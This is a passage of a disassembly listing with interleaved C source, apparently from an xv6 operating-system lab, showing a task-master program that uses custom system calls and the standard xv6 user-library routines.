d2 <main+0xd2> pids[i] = pid; } // Creating 3 tasks do_task((char *)task1, 100, 10, 11); 36: 6a 0b push $0xb 38: 6a 0a push $0xa 3a: 6a 64 push $0x64 3c: 68 e0 00 00 00 push $0xe0 41: e8 94 04 00 00 call 4da <do_task> do_task((char *)task2, 101, 20, 21); 46: 6a 15 push $0x15 48: 6a 14 push $0x14 4a: 6a 65 push $0x65 4c: 68 40 01 00 00 push $0x140 51: e8 84 04 00 00 call 4da <do_task> do_task((char *)task1, 102, 30, 31); 56: 83 c4 20 add $0x20,%esp 59: 6a 1f push $0x1f 5b: 6a 1e push $0x1e 5d: 6a 66 push $0x66 5f: 68 e0 00 00 00 push $0xe0 64: e8 71 04 00 00 call 4da <do_task> // Waiting for all tasks to complete wait_for_task_to_complete(100, &result1); 69: 58 pop %eax 6a: 8d 45 dc lea -0x24(%ebp),%eax 6d: 5a pop %edx 6e: 50 push %eax 6f: 6a 64 push $0x64 71: e8 6c 04 00 00 call 4e2 <wait_for_task_to_complete> wait_for_task_to_complete(101, &result2); 76: 59 pop %ecx 77: 58 pop %eax 78: 8d 45 e0 lea -0x20(%ebp),%eax 7b: 50 push %eax 7c: 6a 65 push $0x65 7e: e8 5f 04 00 00 call 4e2 <wait_for_task_to_complete> wait_for_task_to_complete(102, &result3); 83: 58 pop %eax 84: 8d 45 e4 lea -0x1c(%ebp),%eax 87: 5a pop %edx 88: 50 push %eax 89: 6a 66 push $0x66 8b: e8 52 04 00 00 call 4e2 <wait_for_task_to_complete> sleep(100); 90: c7 04 24 64 00 00 00 movl $0x64,(%esp) 97: e8 26 04 00 00 call 4c2 <sleep> // Printing the results printf(1, "\n\nResult (100): %d. Result (101): %d. Result (102): %d. \n", result1, result2, result3); 9c: 59 pop %ecx 9d: ff 75 e4 pushl -0x1c(%ebp) a0: ff 75 e0 pushl -0x20(%ebp) a3: ff 75 dc pushl -0x24(%ebp) a6: 68 58 09 00 00 push $0x958 ab: 6a 01 push $0x1 ad: e8 ee 04 00 00 call 5a0 <printf> // Master process kills all worker processes for(int i=0; i<NWORKERS; i++) kill(pids[i]); b2: 83 c4 14 add $0x14,%esp b5: 53 push %ebx b6: e8 a7 03 00 00 call 462 <kill> bb: 89 34 24 mov %esi,(%esp) be: e8 9f 03 00 00 call 462 <kill> for(int i=0; i<NWORKERS; i++) wait(); c3: e8 72 03 00 00 call 43a <wait> c8: e8 6d 03 00 00 call 43a <wait> exit(); cd: e8 60 03 00 00 call 432 <exit> // Creating N worker threads for(int i=0; i<NWORKERS; i++) { pid = fork(); if(pid == 0) worker_thread(); d2: e8 c9 00 00 00 call 1a0 <worker_thread> d7: 66 90 xchg %ax,%ax d9: 66 90 xchg %ax,%ax db: 66 90 xchg %ax,%ax dd: 66 90 xchg %ax,%ax df: 90 nop 000000e0 <task1>: #include "user.h" #define NWORKERS 2 void task1(int id, int a, int b) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 57 push %edi e4: 56 push %esi e5: 53 push %ebx e6: 83 ec 18 sub $0x18,%esp e9: 8b 75 08 mov 0x8(%ebp),%esi ec: 8b 7d 0c mov 0xc(%ebp),%edi int result; sleep(5); ef: 6a 05 push $0x5 #include "user.h" #define NWORKERS 2 void task1(int id, int a, int b) { f1: 8b 5d 10 mov 0x10(%ebp),%ebx int result; sleep(5); f4: e8 c9 03 00 00 call 4c2 <sleep> printf(1, "[%d] Executing task1. ID: %d. a: %d. b: %d \n", getpid(), id, a, b); f9: e8 b4 03 00 00 call 4b2 <getpid> fe: 5a pop %edx ff: 59 pop %ecx 100: 53 push %ebx 101: 57 push %edi result = a + b; 102: 01 fb add %edi,%ebx void task1(int id, int a, int b) { int result; sleep(5); printf(1, "[%d] Executing task1. ID: %d. a: %d. b: %d \n", getpid(), id, a, b); 104: 56 push %esi 105: 50 push %eax 106: 68 c0 08 00 00 push $0x8c0 10b: 6a 01 push $0x1 10d: e8 8e 04 00 00 call 5a0 <printf> result = a + b; sleep(300); 112: 83 c4 14 add $0x14,%esp 115: 68 2c 01 00 00 push $0x12c 11a: e8 a3 03 00 00 call 4c2 <sleep> task_ret(id, result); 11f: 89 5d 0c mov %ebx,0xc(%ebp) 122: 89 75 08 mov %esi,0x8(%ebp) 125: 83 c4 10 add $0x10,%esp } 128: 8d 65 f4 lea -0xc(%ebp),%esp 12b: 5b pop %ebx 12c: 5e pop %esi 12d: 5f pop %edi 12e: 5d pop %ebp sleep(5); printf(1, "[%d] Executing task1. ID: %d. a: %d. b: %d \n", getpid(), id, a, b); result = a + b; sleep(300); task_ret(id, result); 12f: e9 be 03 00 00 jmp 4f2 <task_ret> 134: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 13a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000140 <task2>: } void task2(int id, int a, int b) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 57 push %edi 144: 56 push %esi 145: 53 push %ebx 146: 83 ec 18 sub $0x18,%esp 149: 8b 75 08 mov 0x8(%ebp),%esi 14c: 8b 7d 0c mov 0xc(%ebp),%edi int result; sleep(15); 14f: 6a 0f push $0xf sleep(300); task_ret(id, result); } void task2(int id, int a, int b) { 151: 8b 5d 10 mov 0x10(%ebp),%ebx int result; sleep(15); 154: e8 69 03 00 00 call 4c2 <sleep> printf(1, "[%d] Executing task2. ID: %d. a: %d. b: %d \n", getpid(), id, a, b); 159: e8 54 03 00 00 call 4b2 <getpid> 15e: 5a pop %edx 15f: 59 pop %ecx 160: 53 push %ebx 161: 57 push %edi 162: 56 push %esi 163: 50 push %eax 164: 68 f0 08 00 00 push $0x8f0 169: 6a 01 push $0x1 result = a * b; 16b: 0f af df imul %edi,%ebx void task2(int id, int a, int b) { int result; sleep(15); printf(1, "[%d] Executing task2. ID: %d. a: %d. b: %d \n", getpid(), id, a, b); 16e: e8 2d 04 00 00 call 5a0 <printf> result = a * b; sleep(450); 173: 83 c4 14 add $0x14,%esp 176: 68 c2 01 00 00 push $0x1c2 17b: e8 42 03 00 00 call 4c2 <sleep> task_ret(id, result); 180: 89 5d 0c mov %ebx,0xc(%ebp) 183: 89 75 08 mov %esi,0x8(%ebp) 186: 83 c4 10 add $0x10,%esp } 189: 8d 65 f4 lea -0xc(%ebp),%esp 18c: 5b pop %ebx 18d: 5e pop %esi 18e: 5f pop %edi 18f: 5d pop %ebp printf(1, "[%d] Executing task2. ID: %d. a: %d. b: %d \n", getpid(), id, a, b); result = a * b; sleep(450); task_ret(id, result); 190: e9 5d 03 00 00 jmp 4f2 <task_ret> 195: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001a0 <worker_thread>: } void worker_thread() { 1a0: 55 push %ebp 1a1: 89 e5 mov %esp,%ebp 1a3: 56 push %esi int count = 0; 1a4: 31 f6 xor %esi,%esi sleep(450); task_ret(id, result); } void worker_thread() { 1a6: 53 push %ebx 1a7: eb 24 jmp 1cd <worker_thread+0x2d> 1a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { ret = wait_for_task(); if(ret > 0) { count ++; printf(1, "[%d] Completed %d tasks. Last completed task ID: %d \n", getpid(), count, ret); 1b0: e8 fd 02 00 00 call 4b2 <getpid> while(1) { ret = wait_for_task(); if(ret > 0) { count ++; 1b5: 83 c6 01 add $0x1,%esi printf(1, "[%d] Completed %d tasks. Last completed task ID: %d \n", getpid(), count, ret); 1b8: 83 ec 0c sub $0xc,%esp 1bb: 53 push %ebx 1bc: 56 push %esi 1bd: 50 push %eax 1be: 68 20 09 00 00 push $0x920 1c3: 6a 01 push $0x1 1c5: e8 d6 03 00 00 call 5a0 <printf> else { printf(1, "wait for task failed \n"); exit(); } } 1ca: 83 c4 20 add $0x20,%esp int count = 0; int ret; while(1) { ret = wait_for_task(); 1cd: e8 18 03 00 00 call 4ea <wait_for_task> if(ret > 0) 1d2: 85 c0 test %eax,%eax int count = 0; int ret; while(1) { ret = wait_for_task(); 1d4: 89 c3 mov %eax,%ebx if(ret > 0) 1d6: 7f d8 jg 1b0 <worker_thread+0x10> count ++; printf(1, "[%d] Completed %d tasks. Last completed task ID: %d \n", getpid(), count, ret); } else { printf(1, "wait for task failed \n"); 1d8: 83 ec 08 sub $0x8,%esp 1db: 68 94 09 00 00 push $0x994 1e0: 6a 01 push $0x1 1e2: e8 b9 03 00 00 call 5a0 <printf> exit(); 1e7: e8 46 02 00 00 call 432 <exit> 1ec: 66 90 xchg %ax,%ax 1ee: 66 90 xchg %ax,%ax 000001f0 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 53 push %ebx 1f4: 8b 45 08 mov 0x8(%ebp),%eax 1f7: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 1fa: 89 c2 mov %eax,%edx 1fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 200: 83 c1 01 add $0x1,%ecx 203: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 207: 83 c2 01 add $0x1,%edx 20a: 84 db test %bl,%bl 20c: 88 5a ff mov %bl,-0x1(%edx) 20f: 75 ef jne 200 <strcpy+0x10> ; return os; } 211: 5b pop %ebx 212: 5d pop %ebp 213: c3 ret 214: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 21a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000220 <strcmp>: int strcmp(const char *p, const char *q) { 220: 55 push %ebp 221: 89 e5 mov %esp,%ebp 223: 56 push %esi 224: 53 push %ebx 225: 8b 55 08 mov 0x8(%ebp),%edx 228: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 22b: 0f b6 02 movzbl (%edx),%eax 22e: 0f b6 19 movzbl (%ecx),%ebx 231: 84 c0 test %al,%al 233: 75 1e jne 253 <strcmp+0x33> 235: eb 29 jmp 260 <strcmp+0x40> 237: 89 f6 mov %esi,%esi 239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 240: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 243: 0f b6 02 movzbl (%edx),%eax p++, q++; 246: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 249: 0f b6 59 01 movzbl 0x1(%ecx),%ebx 24d: 84 c0 test %al,%al 24f: 74 0f je 260 <strcmp+0x40> 251: 89 f1 mov %esi,%ecx 253: 38 d8 cmp %bl,%al 255: 74 e9 je 240 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 257: 29 d8 sub %ebx,%eax } 259: 5b pop %ebx 25a: 5e pop %esi 25b: 5d pop %ebp 25c: c3 ret 25d: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 260: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 262: 29 d8 sub %ebx,%eax } 264: 5b pop %ebx 265: 5e pop %esi 266: 5d pop %ebp 267: c3 ret 268: 90 nop 269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000270 <strlen>: uint strlen(char *s) { 270: 55 push %ebp 271: 89 e5 mov %esp,%ebp 273: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 276: 80 39 00 cmpb $0x0,(%ecx) 279: 74 12 je 28d <strlen+0x1d> 27b: 31 d2 xor %edx,%edx 27d: 8d 76 00 lea 0x0(%esi),%esi 280: 83 c2 01 add $0x1,%edx 283: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 287: 89 d0 mov %edx,%eax 289: 75 f5 jne 280 <strlen+0x10> ; return n; } 28b: 5d pop %ebp 28c: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 28d: 31 c0 xor %eax,%eax ; return n; } 28f: 5d pop %ebp 290: c3 ret 291: eb 0d jmp 2a0 <memset> 293: 90 nop 294: 90 nop 295: 90 nop 296: 90 nop 297: 90 nop 298: 90 nop 299: 90 nop 29a: 90 nop 29b: 90 nop 29c: 90 nop 29d: 90 nop 29e: 90 nop 29f: 90 nop 000002a0 <memset>: void* memset(void *dst, int c, uint n) { 2a0: 55 push %ebp 2a1: 89 e5 mov %esp,%ebp 2a3: 57 push %edi 2a4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 2a7: 8b 4d 10 mov 0x10(%ebp),%ecx 2aa: 8b 45 0c mov 0xc(%ebp),%eax 2ad: 89 d7 mov %edx,%edi 2af: fc cld 2b0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 2b2: 89 d0 mov %edx,%eax 2b4: 5f pop %edi 2b5: 5d pop %ebp 2b6: c3 ret 2b7: 89 f6 mov %esi,%esi 2b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002c0 <strchr>: char* strchr(const char *s, char c) { 2c0: 55 push %ebp 2c1: 89 e5 mov %esp,%ebp 2c3: 53 push %ebx 2c4: 8b 45 08 mov 0x8(%ebp),%eax 2c7: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 2ca: 0f b6 10 movzbl (%eax),%edx 2cd: 84 d2 test %dl,%dl 2cf: 74 1d je 2ee <strchr+0x2e> if(*s == c) 2d1: 38 d3 cmp %dl,%bl 2d3: 89 d9 mov %ebx,%ecx 2d5: 75 0d jne 2e4 <strchr+0x24> 2d7: eb 17 jmp 2f0 <strchr+0x30> 2d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 2e0: 38 ca cmp %cl,%dl 2e2: 74 0c je 2f0 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 2e4: 83 c0 01 add $0x1,%eax 2e7: 0f b6 10 movzbl (%eax),%edx 2ea: 84 d2 test %dl,%dl 2ec: 75 f2 jne 2e0 <strchr+0x20> if(*s == c) return (char*)s; return 0; 2ee: 31 c0 xor %eax,%eax } 2f0: 5b pop %ebx 2f1: 5d pop %ebp 2f2: c3 ret 2f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 2f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000300 <gets>: char* gets(char *buf, int max) { 300: 55 push %ebp 301: 89 e5 mov %esp,%ebp 303: 57 push %edi 304: 56 push %esi 305: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 306: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 308: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 30b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 30e: eb 29 jmp 339 <gets+0x39> cc = read(0, &c, 1); 310: 83 ec 04 sub $0x4,%esp 313: 6a 01 push $0x1 315: 57 push %edi 316: 6a 00 push $0x0 318: e8 2d 01 00 00 call 44a <read> if(cc < 1) 31d: 83 c4 10 add $0x10,%esp 320: 85 c0 test %eax,%eax 322: 7e 1d jle 341 <gets+0x41> break; buf[i++] = c; 324: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 328: 8b 55 08 mov 0x8(%ebp),%edx 32b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 32d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 32f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 333: 74 1b je 350 <gets+0x50> 335: 3c 0d cmp $0xd,%al 337: 74 17 je 350 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 339: 8d 5e 01 lea 0x1(%esi),%ebx 33c: 3b 5d 0c cmp 0xc(%ebp),%ebx 33f: 7c cf jl 310 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 341: 8b 45 08 mov 0x8(%ebp),%eax 344: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 348: 8d 65 f4 lea -0xc(%ebp),%esp 34b: 5b pop %ebx 34c: 5e pop %esi 34d: 5f pop %edi 34e: 5d pop %ebp 34f: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 350: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 353: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 355: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 359: 8d 65 f4 lea -0xc(%ebp),%esp 35c: 5b pop %ebx 35d: 5e pop %esi 35e: 5f pop %edi 35f: 5d pop %ebp 360: c3 ret 361: eb 0d jmp 370 <stat> 363: 90 nop 364: 90 nop 365: 90 nop 366: 90 nop 367: 90 nop 368: 90 nop 369: 90 nop 36a: 90 nop 36b: 90 nop 36c: 90 nop 36d: 90 nop 36e: 90 nop 36f: 90 nop 00000370 <stat>: int stat(char *n, struct stat *st) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 56 push %esi 374: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 375: 83 ec 08 sub $0x8,%esp 378: 6a 00 push $0x0 37a: ff 75 08 pushl 0x8(%ebp) 37d: e8 f0 00 00 00 call 472 <open> if(fd < 0) 382: 83 c4 10 add $0x10,%esp 385: 85 c0 test %eax,%eax 387: 78 27 js 3b0 <stat+0x40> return -1; r = fstat(fd, st); 389: 83 ec 08 sub $0x8,%esp 38c: ff 75 0c pushl 0xc(%ebp) 38f: 89 c3 mov %eax,%ebx 391: 50 push %eax 392: e8 f3 00 00 00 call 48a <fstat> 397: 89 c6 mov %eax,%esi close(fd); 399: 89 1c 24 mov %ebx,(%esp) 39c: e8 b9 00 00 00 call 45a <close> return r; 3a1: 83 c4 10 add $0x10,%esp 3a4: 89 f0 mov %esi,%eax } 3a6: 8d 65 f8 lea -0x8(%ebp),%esp 3a9: 5b pop %ebx 3aa: 5e pop %esi 3ab: 5d pop %ebp 3ac: c3 ret 3ad: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 3b0: b8 ff ff ff ff mov $0xffffffff,%eax 3b5: eb ef jmp 3a6 <stat+0x36> 3b7: 89 f6 mov %esi,%esi 3b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000003c0 <atoi>: return r; } int atoi(const char *s) { 3c0: 55 push %ebp 3c1: 89 e5 mov %esp,%ebp 3c3: 53 push %ebx 3c4: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 3c7: 0f be 11 movsbl (%ecx),%edx 3ca: 8d 42 d0 lea -0x30(%edx),%eax 3cd: 3c 09 cmp $0x9,%al 3cf: b8 00 00 00 00 mov $0x0,%eax 3d4: 77 1f ja 3f5 <atoi+0x35> 3d6: 8d 76 00 lea 0x0(%esi),%esi 3d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 3e0: 8d 04 80 lea (%eax,%eax,4),%eax 3e3: 83 c1 01 add $0x1,%ecx 3e6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 3ea: 0f be 11 movsbl (%ecx),%edx 3ed: 8d 5a d0 lea -0x30(%edx),%ebx 3f0: 80 fb 09 cmp $0x9,%bl 3f3: 76 eb jbe 3e0 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 3f5: 5b pop %ebx 3f6: 5d pop %ebp 3f7: c3 ret 3f8: 90 nop 3f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000400 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 400: 55 push %ebp 401: 89 e5 mov %esp,%ebp 403: 56 push %esi 404: 53 push %ebx 405: 8b 5d 10 mov 0x10(%ebp),%ebx 408: 8b 45 08 mov 0x8(%ebp),%eax 40b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 40e: 85 db test %ebx,%ebx 410: 7e 14 jle 426 <memmove+0x26> 412: 31 d2 xor %edx,%edx 414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 418: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 41c: 88 0c 10 mov %cl,(%eax,%edx,1) 41f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 422: 39 da cmp %ebx,%edx 424: 75 f2 jne 418 <memmove+0x18> *dst++ = *src++; return vdst; } 426: 5b pop %ebx 427: 5e pop %esi 428: 5d pop %ebp 429: c3 ret 0000042a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 42a: b8 01 00 00 00 mov $0x1,%eax 42f: cd 40 int $0x40 431: c3 ret 00000432 <exit>: SYSCALL(exit) 432: b8 02 00 00 00 mov $0x2,%eax 437: cd 40 int $0x40 439: c3 ret 0000043a <wait>: SYSCALL(wait) 43a: b8 03 00 00 00 mov $0x3,%eax 43f: cd 40 int $0x40 441: c3 ret 00000442 <pipe>: SYSCALL(pipe) 442: b8 04 00 00 00 mov $0x4,%eax 447: cd 40 int $0x40 449: c3 ret 0000044a <read>: SYSCALL(read) 44a: b8 05 00 00 00 mov $0x5,%eax 44f: cd 40 int $0x40 451: c3 ret 00000452 <write>: SYSCALL(write) 452: b8 10 00 00 00 mov $0x10,%eax 457: cd 40 int $0x40 459: c3 ret 0000045a <close>: SYSCALL(close) 45a: b8 15 00 00 00 mov $0x15,%eax 45f: cd 40 int $0x40 461: c3 ret 00000462 <kill>: SYSCALL(kill) 462: b8 06 00 00 00 mov $0x6,%eax 467: cd 40 int $0x40 469: c3 ret 0000046a <exec>: SYSCALL(exec) 46a: b8 07 00 00 00 mov $0x7,%eax 46f: cd 40 int $0x40 471: c3 ret 00000472 <open>: SYSCALL(open) 472: b8 0f 00 00 00 mov $0xf,%eax 477: cd 40 int $0x40 479: c3 ret 0000047a <mknod>: SYSCALL(mknod) 47a: b8 11 00 00 00 mov $0x11,%eax 47f: cd 40 int $0x40 481: c3 ret 00000482 <unlink>: SYSCALL(unlink) 482: b8 12 00 00 00 mov $0x12,%eax 487: cd 40 int $0x40 489: c3 ret 0000048a <fstat>: SYSCALL(fstat) 48a: b8 08 00 00 00 mov $0x8,%eax 48f: cd 40 int $0x40 491: c3 ret 00000492 <link>: SYSCALL(link) 492: b8 13 00 00 00 mov $0x13,%eax 497: cd 40 int $0x40 499: c3 ret 0000049a <mkdir>: SYSCALL(mkdir) 49a: b8 14 00 00 00 mov $0x14,%eax 49f: cd 40 int $0x40 4a1: c3 ret 000004a2 <chdir>: SYSCALL(chdir) 4a2: b8 09 00 00 00 mov $0x9,%eax 4a7: cd 40 int $0x40 4a9: c3 ret 000004aa <dup>: SYSCALL(dup) 4aa: b8 0a 00 00 00 mov $0xa,%eax 4af: cd 40 int $0x40 4b1: c3 ret 000004b2 <getpid>: SYSCALL(getpid) 4b2: b8 0b 00 00 00 mov $0xb,%eax 4b7: cd 40 int $0x40 4b9: c3 ret 000004ba <sbrk>: SYSCALL(sbrk) 4ba: b8 0c 00 00 00 mov $0xc,%eax 4bf: cd 40 int $0x40 4c1: c3 ret 000004c2 <sleep>: SYSCALL(sleep) 4c2: b8 0d 00 00 00 mov $0xd,%eax 4c7: cd 40 int $0x40 4c9: c3 ret 000004ca <uptime>: SYSCALL(uptime) 4ca: b8 0e 00 00 00 mov $0xe,%eax 4cf: cd 40 int $0x40 4d1: c3 ret 000004d2 <init_taskmaster>: #/***************** LAB QUIZ 4 *****************/ SYSCALL(init_taskmaster) 4d2: b8 16 00 00 00 mov $0x16,%eax 4d7: cd 40 int $0x40 4d9: c3 ret 000004da <do_task>: SYSCALL(do_task) 4da: b8 17 00 00 00 mov $0x17,%eax 4df: cd 40 int $0x40 4e1: c3 ret 000004e2 <wait_for_task_to_complete>: SYSCALL(wait_for_task_to_complete) 4e2: b8 18 00 00 00 mov $0x18,%eax 4e7: cd 40 int $0x40 4e9: c3 ret 000004ea <wait_for_task>: SYSCALL(wait_for_task) 4ea: b8 19 00 00 00 mov $0x19,%eax 4ef: cd 40 int $0x40 4f1: c3 ret 000004f2 <task_ret>: SYSCALL(task_ret) 4f2: b8 1a 00 00 00 mov $0x1a,%eax 4f7: cd 40 int $0x40 4f9: c3 ret 4fa: 66 90 xchg %ax,%ax 4fc: 66 90 xchg %ax,%ax 4fe: 66 90 xchg %ax,%ax 00000500 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 500: 55 push %ebp 501: 89 e5 mov %esp,%ebp 503: 57 push %edi 504: 56 push %esi 505: 53 push %ebx 506: 89 c6 mov %eax,%esi 508: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 50b: 8b 5d 08 mov 0x8(%ebp),%ebx 50e: 85 db test %ebx,%ebx 510: 74 7e je 590 <printint+0x90> 512: 89 d0 mov %edx,%eax 514: c1 e8 1f shr $0x1f,%eax 517: 84 c0 test %al,%al 519: 74 75 je 590 <printint+0x90> neg = 1; x = -xx; 51b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 51d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 524: f7 d8 neg %eax 526: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 529: 31 ff xor %edi,%edi 52b: 8d 5d d7 lea -0x29(%ebp),%ebx 52e: 89 ce mov %ecx,%esi 530: eb 08 jmp 53a <printint+0x3a> 532: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 538: 89 cf mov %ecx,%edi 53a: 31 d2 xor %edx,%edx 53c: 8d 4f 01 lea 0x1(%edi),%ecx 53f: f7 f6 div %esi 541: 0f b6 92 b4 09 00 00 movzbl 0x9b4(%edx),%edx }while((x /= base) != 0); 548: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 54a: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 54d: 75 e9 jne 538 <printint+0x38> if(neg) 54f: 8b 45 c4 mov -0x3c(%ebp),%eax 552: 8b 75 c0 mov -0x40(%ebp),%esi 555: 85 c0 test %eax,%eax 557: 74 08 je 561 <printint+0x61> buf[i++] = '-'; 559: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 55e: 8d 4f 02 lea 0x2(%edi),%ecx 561: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 565: 8d 76 00 lea 0x0(%esi),%esi 568: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 56b: 83 ec 04 sub $0x4,%esp 56e: 83 ef 01 sub $0x1,%edi 571: 6a 01 push $0x1 573: 53 push %ebx 574: 56 push %esi 575: 88 45 d7 mov %al,-0x29(%ebp) 578: e8 d5 fe ff ff call 452 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 57d: 83 c4 10 add $0x10,%esp 580: 39 df cmp %ebx,%edi 582: 75 e4 jne 568 <printint+0x68> putc(fd, buf[i]); } 584: 8d 65 f4 lea -0xc(%ebp),%esp 587: 5b pop %ebx 588: 5e pop %esi 589: 5f pop %edi 58a: 5d pop %ebp 58b: c3 ret 58c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 590: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 592: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 599: eb 8b jmp 526 <printint+0x26> 59b: 90 nop 59c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000005a0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 5a0: 55 push %ebp 5a1: 89 e5 mov %esp,%ebp 5a3: 57 push %edi 5a4: 56 push %esi 5a5: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5a6: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 5a9: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5ac: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 5af: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5b2: 89 45 d0 mov %eax,-0x30(%ebp) 5b5: 0f b6 1e movzbl (%esi),%ebx 5b8: 83 c6 01 add $0x1,%esi 5bb: 84 db test %bl,%bl 5bd: 0f 84 b0 00 00 00 je 673 <printf+0xd3> 5c3: 31 d2 xor %edx,%edx 5c5: eb 39 jmp 600 <printf+0x60> 5c7: 89 f6 mov %esi,%esi 5c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = 